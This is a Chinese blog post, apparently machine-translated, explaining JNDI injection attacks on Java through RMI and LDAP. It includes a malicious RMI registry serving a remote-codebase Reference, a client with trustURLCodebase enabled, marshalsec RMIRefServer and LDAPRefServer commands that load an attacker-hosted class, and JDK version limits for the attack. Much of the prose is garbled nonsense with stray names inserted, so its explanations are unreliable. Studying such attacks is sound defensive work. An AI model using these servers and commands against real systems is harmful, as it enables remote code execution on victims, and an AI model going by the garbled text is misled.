攻击Java Medium JNDI,RMI,LDAP(2)


Bunga Katsura JNDI,发短信给Bunga Katsura的进攻JNDI。

JNDI注射

提交了类似东西黑帽2016(美国)的主题"从JNDI LDAP操作到RCE的旅程"。其他进攻性走道可以概述以下走道:

  • 服务端示例JNDI InitialContext请求类似攻击者的意图RMI Server
  • InitialContext初始化期间查找rmi://攻击者/ Obj
  • Malice RMI服务器返回JNDI参考
  • 服务端接收JNDI参考Nogokai RMI Server获准tori工程
  • RMI服务器可逆工作类是静态Java替代,创建可选替代
  • 攻击JNDI

    作者水平有限,文本仅讲几千种攻击JNDI方法。
    1. JNDI组合RMI远程对象(代码库)
    2. JNDI参考组合RMI
    3. JNDI参考组合LDAP

    RMI远程对象

    可以使用早期的Java浏览器。二手Applet正常需求规格书1个代码库参考编号,比率:

    1
    <applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>

    代码库诉诉Java应用程序找找类,图像类路径1个样本,但是给定的类路径不存在creed代码库该代码库可在网站上找到,在RMI中,已订购代码库,设置了编号并创建了RCE。

    但是,需要代码库条件:

  • 安全经理
  • 书籍7u21、6u45或其他人的Java版本已经完成java.rmi.server.useCodebaseOnly=false

  • 官方将军java.rmi.server.useCodebaseOnly默认认值吉false更改已完成true。 java.rmi.server.useCodebaseOnly安排是正确的,Java虚拟机通用,可信任的放置是有利的,codebase,不重新支持RMI请求。原因是特殊的东西方肋骨。

    在大多数情况下,您可以在Pass属性java.rmi.server.codebase上下一个代码库。

    例如,在Nyoka Demand类型语句的类似Webserver的根目录下,Nana设置类似Codebase的命令行(Jar,Nana设置Codebase时间指定jar语句)的命令行数

    1
    -Djava.rmi.server.codebase=http://url:8080/

    联系人内容的介绍性测试,类似URL的Web服务器下载类型文档,其他关联类型程序包名称转换转换文档,当前类似Codebase的对应文档,下载类型文档,与Nyoka兼容的文档com.project。要接收接待,会议的底部URL:

    1
    http://url:8080/com/project/test.class

    JNDI参考配方RMI

    Keiichi Shita示范,相同的示例文本,Longofo师傅-像解码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    package com.longofo.jndi;

    import com.sun.jndi.rmi.registry.ReferenceWrapper;

    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class RMIServer1 {
        public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
            // 创建Registry
            Registry registry = LocateRegistry.createRegistry(9999);
            System.out.println("java RMI registry created. port on 9999...");
            Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
            registry.bind("refObj", refObjWrapper);
        }
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    package com.longofo.jndi;

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import javax.naming.directory.DirContext;
    import javax.naming.directory.InitialDirContext;
    import java.rmi.NotBoundException;
    import java.rmi.RemoteException;

    public class RMIClient1 {
        public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
    //        Properties env = new Properties();
    //        env.put(Context.INITIAL_CONTEXT_FACTORY,
    //                "com.sun.jndi.rmi.registry.RegistryContextFactory");
    //        env.put(Context.PROVIDER_URL,
    //                "rmi://localhost:9999");

            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            // 下面这行是我自己加的 8u221需要 原因看下文
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
            Context ctx = new InitialContext();
            DirContext dirc = new InitialDirContext();
            ctx.lookup("rmi://localhost:9999/refObj");
        }
    }

    在RMIClient1.java中,恐怕com.sun.jndi.ldap.object.trustURLCodebase设置为true,Ichika Ueno Mae Ichinao不成功,请逐步,逐步,解决问题,进行自我分析:

    Suijaku查找,毕竟javax/naming/spi/NamingManager.java:146 Honji suijaku导入类型
    image.png

    缺少classpath Chukai尝谝测试来代码库添加
    image.png

    私人标签loadClass

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public Class< ? > loadClass(String className, String codebase)
        throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl =
                URLClassLoader.newInstance(getUrlArray(codebase), parent);

            return loadClass(className, cl);
        } else {
            return null;
        }
    }

    证据trustURLCodebase证据判断批准/不批准,证据trustURLCodebase证据com.sun.jndi.ldap.object.trustURLCodebase证据。堆叠

    1
    2
    3
    4
    5
    6
    7
    8
    loadClass:101, VersionHelper12 (com.sun.naming.internal)
    getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
    getObjectInstance:319, NamingManager (javax.naming.spi)
    decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
    lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
    lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
    lookup:417, InitialContext (javax.naming)
    main:24, RMIClient1 (com.longofo.jndi)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
        AccessController.doPrivileged(
        new PrivilegedAction<String>() {
            public String run() {
                try {
                    return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                                              "false");
                } catch (SecurityException e) {
                    return "false";
                }
            }
        }
    );

    此样本的最终效果

    image.png

    实际使用,用于元帅,RMI不可抗拒的服务,RMI服务结束号1099

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099

    你仍需求自助服务Web服务

    JNDI参考组合LDAP

    在上面的文本中,文本中使用了JNDI通用组合RMI,LDAP等,文本中使用了RMI,而LDAP本质上。使用以上句子中RMI Daido Kosuke中给出的LDAP。因此,我直接使用它。

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389

    JNDI可注射JDK版本限量版

    Yu Yu JNDI注入动态加载原理,使用Reference citation Object Factory类型,内部文本Nakaya分析完成,使用URLClassLoader,原因不接受java.rmi.server.useCodebaseOnly=false属性限制。

    但是,不可避免的到达com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase限制系统。

  • JDK 5U45、6U45、7u21、8u121开始java.rmi.server.useCodebaseOnly默认位置true
  • JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值false
  • JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase默认为false
  • 千篇一律的展览JNDI注入使用方法给定的JDK版本主要关系:

    image.png

    引用自https://xz.aliyun.com/t/6633

    小声音逼真:java每个单独的版本主要属性许多小城市点不相等,相反从事安全到达实际存在Kota成就: